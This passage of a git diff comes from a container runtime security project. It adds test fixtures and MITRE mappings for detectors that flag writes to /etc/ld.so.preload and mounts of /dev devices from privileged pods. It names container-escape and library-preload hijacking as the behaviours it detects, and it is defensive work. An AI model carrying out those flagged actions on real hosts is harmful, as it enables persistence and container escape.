"CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "inheritable": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ] - }, - "ns": { - "uts": { - "inum": 4026532795, - "is_host": false - }, - "ipc": { - "inum": 4026532796, - "is_host": false - }, - "mnt": { - "inum": 4026533178, - "is_host": false - }, - "pid": { - "inum": 4026533284, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533284, - "is_host": false - }, - "net": { - "inum": 4026532797, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026531835, - "is_host": true - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1409645, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjgxMTUyMzExMTA1Njc3Njk6MTQwOTY0NQ==", - "pid": 1409645, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/sh", - "arguments": "-c \"command -v bash >/dev/null && exec bash || exec sh\"", - "flags": "execve rootcwd clone", - "start_time": "2024-08-19T13:26:06.756777232Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian-privileged", - "container": { - "id": "cri-o://497809a2cbb0695fbd5383072cfb59e5c3b6905ab1ac336147cccbcf4a2b224e", - "name": "test-pod-debian", - "image": { - "id": "31d5e503c34f4496a263fb3557575cf53e6a40add4c459370120c7454985f7b7", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-05-18T19:36:18Z", - "pid": 5467, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian-privileged", - "workload_kind": "Pod" - }, - "docker": "497809a2cbb0695fbd5383072cfb59e", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjgxMTUyMzEwODY1MDI4MTg6MTQwOTYzNQ==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "inheritable": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ] - }, - "ns": { - "uts": { - "inum": 4026532795, - "is_host": false - }, - "ipc": { - "inum": 4026532796, - "is_host": false - }, - "mnt": { - "inum": 4026533178, - "is_host": false - }, - "pid": { - "inum": 4026533284, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533284, - "is_host": false - }, - "net": { - "inum": 4026532797, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026531835, - "is_host": true - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1409645, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "function_name": "security_file_permission", - "args": [ - { - "file_arg": { - "mount": "", - "path": "/etc/ld.so.preload", - "flags": "", - "permission": "-rw-r--r--" - }, - "label": "" - }, - { - "int_arg": 2, - "label": "" - } - ], - "return": { - "int_arg": 0, - "label": "" - }, - "action": "KPROBE_ACTION_POST", - "kernel_stack_trace": [], - "policy_name": "file-monitoring", - "return_action": "KPROBE_ACTION_POST", - "message": "", - "tags": [], - "user_stack_trace": [] - }, - "node_name": "experts-k8s-cs", - "time": "2024-08-19T13:35:12.051205919Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - -*/ diff --git a/event-processor/detector/wasm/CS_RT_LD_PRELOAD/testdata/negative_benign_path.json b/event-processor/detector/wasm/CS_RT_LD_PRELOAD/testdata/negative_benign_path.json new file mode 100644 index 00000000..0153a355 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_LD_PRELOAD/testdata/negative_benign_path.json @@ -0,0 +1,35 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 12345, + "binary": "/usr/bin/bash", + "arguments": "-c \"echo test > /etc/issue\"" + }, + "function_name": "security_file_permission", + "args": [ + { + "file_arg": { + "path": "/etc/issue", + "permission": "-rw-r--r--" + } + }, + { + "int_arg": 2 + } + ] + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_LD_PRELOAD/testdata/positive_ld_preload_write.json b/event-processor/detector/wasm/CS_RT_LD_PRELOAD/testdata/positive_ld_preload_write.json new file mode 100644 index 00000000..9b8f7ae8 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_LD_PRELOAD/testdata/positive_ld_preload_write.json @@ -0,0 +1,497 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjgxMTUyMzExMTI1MzEyNTQ6MTQwOTY0NQ==", + "pid": 1409645, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2024-08-19T13:26:06.758740802Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian-privileged", + "container": { + "id": "cri-o://497809a2cbb0695fbd5383072cfb59e5c3b6905ab1ac336147cccbcf4a2b224e", + "name": "test-pod-debian", + "image": { + "id": "31d5e503c34f4496a263fb3557575cf53e6a40add4c459370120c7454985f7b7", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-05-18T19:36:18Z", + "pid": 5467, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian-privileged", + "workload_kind": "Pod" + }, + "docker": "497809a2cbb0695fbd5383072cfb59e", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjgxMTUyMzExMTA1Njc3Njk6MTQwOTY0NQ==", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ], + "inheritable": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ] + }, + "ns": { + "uts": { + "inum": 4026532795, + "is_host": false + }, + "ipc": { + "inum": 4026532796, + "is_host": false + }, + "mnt": { + "inum": 4026533178, + "is_host": false + }, + "pid": { + "inum": 4026533284, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533284, + "is_host": false + }, + "net": { + "inum": 4026532797, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026531835, + "is_host": true + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1409645, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "parent": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjgxMTUyMzExMTA1Njc3Njk6MTQwOTY0NQ==", + "pid": 1409645, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/sh", + "arguments": "-c \"command -v bash >/dev/null && exec bash || exec sh\"", + "flags": "execve rootcwd clone", + "start_time": "2024-08-19T13:26:06.756777232Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian-privileged", + "container": { + "id": "cri-o://497809a2cbb0695fbd5383072cfb59e5c3b6905ab1ac336147cccbcf4a2b224e", + "name": "test-pod-debian", + "image": { + "id": "31d5e503c34f4496a263fb3557575cf53e6a40add4c459370120c7454985f7b7", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-05-18T19:36:18Z", + "pid": 5467, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian-privileged", + "workload_kind": "Pod" + }, + "docker": "497809a2cbb0695fbd5383072cfb59e", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjgxMTUyMzEwODY1MDI4MTg6MTQwOTYzNQ==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ], + "inheritable": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ] + }, + "ns": { + "uts": { + "inum": 4026532795, + "is_host": false + }, + "ipc": { + "inum": 4026532796, + "is_host": false + }, + "mnt": { + "inum": 4026533178, + "is_host": false + }, + "pid": { + "inum": 4026533284, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533284, + "is_host": false + }, + "net": { + "inum": 4026532797, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026531835, + "is_host": true + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1409645, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "function_name": "security_file_permission", + "args": [ + { + "file_arg": { + "mount": "", + "path": "/etc/ld.so.preload", + "flags": "", + "permission": "-rw-r--r--" + }, + "label": "" + }, + { + "int_arg": 2, + "label": "" + } + ], + "return": { + "int_arg": 0, + "label": "" + }, + "action": "KPROBE_ACTION_POST", + "kernel_stack_trace": [], + "policy_name": "file-monitoring", + "return_action": "KPROBE_ACTION_POST", + "message": "", + "tags": [], + "user_stack_trace": [] + }, + "node_name": "test-k8s-cluster", + "time": "2024-08-19T13:35:12.051205919Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_LD_PRELOAD", + "severity": "MEDIUM", + "reason_contains": "ld.so.preload", + "tactics": [ + "TA0003", + "TA0004", + "TA0005" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "MEDIUM", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_MOUNT_DEV/main.go b/event-processor/detector/wasm/CS_RT_MOUNT_DEV/main.go index 118e69cf..070e0abb 100644 --- a/event-processor/detector/wasm/CS_RT_MOUNT_DEV/main.go +++ b/event-processor/detector/wasm/CS_RT_MOUNT_DEV/main.go @@ -14,12 +14,18 @@ import ( const ( ID = "CS_RT_MOUNT_DEV" - Name = "Device mounting from /dev directory" + Name = "Mounting of devices from /dev" Description = "The detector detects the mount() system calls to mount devices from the /dev directory, which may indicate an attacker's attempt to gain access to the file system of the container host. The detector assigns low severity to unsuccessful attempts and high severity to successful ones." Version = 1 Author = "Runtime Radar Team" + License = "Apache License 2.0" +) - License = "Apache License 2.0" +const ( + KprobeSuccessNoArgs = "Detected that the `%s` device was successfully mounted on the mount point `%s` by the `%s` process" + KprobeSuccessDefault = "Detected that the `%s` device was successfully mounted on the mount point `%s` by the `%s` process, which was started using the `%s` arguments" + KprobeTryNoArgs = "Detected a failed attempt to mount the `%s` device on the mount point `%s` made by the `%s` process" + KprobeTryDefault = "Detected a failed attempt to mount the `%s` device on the mount point `%s` made by the `%s` process, which was started using the `%s` arguments" ) var ( @@ -40,12 +46,23 @@ var ( } ) +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0004", + Techniques: []string{ + "T1611", + }, + }, + } +) + var ( devPattern = glob.MustCompile("/dev/*") ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -53,12 +70,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -92,6 +110,8 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe + binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() functionName := kprobe.GetFunctionName() if strings.HasSuffix(functionName, "sys_mount") { @@ -108,12 +128,27 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } + dev := args[0].GetStringArg() + mountPoint := args[1].GetStringArg() + if r == 0 { // According to mount() documentation 0 return value means success. + resp.TacticsCovered = mitreTactics + if binaryArgs == "" { + resp.Reason = fmt.Sprintf(KprobeSuccessNoArgs, dev, mountPoint, binary) + } else { + resp.Reason = fmt.Sprintf(KprobeSuccessDefault, dev, mountPoint, binary, binaryArgs) + } resp.Severity = api.DetectResp_HIGH // <-- threat detected } else { // Else, we assume that it was just an attempt, so mark it with low severity, but do not ignore. // This can be removed later if there will be a lot of false positives. + resp.TacticsCovered = mitreTactics + if binaryArgs == "" { + resp.Reason = fmt.Sprintf(KprobeTryNoArgs, dev, mountPoint, binary) + } else { + resp.Reason = fmt.Sprintf(KprobeTryDefault, dev, mountPoint, binary, binaryArgs) + } resp.Severity = api.DetectResp_LOW // <-- threat detected } @@ -127,478 +162,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjcwNjgyNzc1NzI1NzU1NjQ6NDAwODMyNw==", - "pid": 4008327, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/mount", - "arguments": "/dev/vda1 /mnt/hola", - "flags": "execve rootcwd clone", - "start_time": "2024-08-07T10:36:53.218786013Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian-privileged", - "container": { - "id": "cri-o://497809a2cbb0695fbd5383072cfb59e5c3b6905ab1ac336147cccbcf4a2b224e", - "name": "test-pod-debian", - "image": { - "id": "31d5e503c34f4496a263fb3557575cf53e6a40add4c459370120c7454985f7b7", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-05-18T19:36:18Z", - "pid": 3497, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian-privileged", - "workload_kind": "Pod" - }, - "docker": "497809a2cbb0695fbd5383072cfb59e", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjcwNjgxOTk2NzczNDg0OTE6NDAwNzU3Ng==", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "inheritable": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", 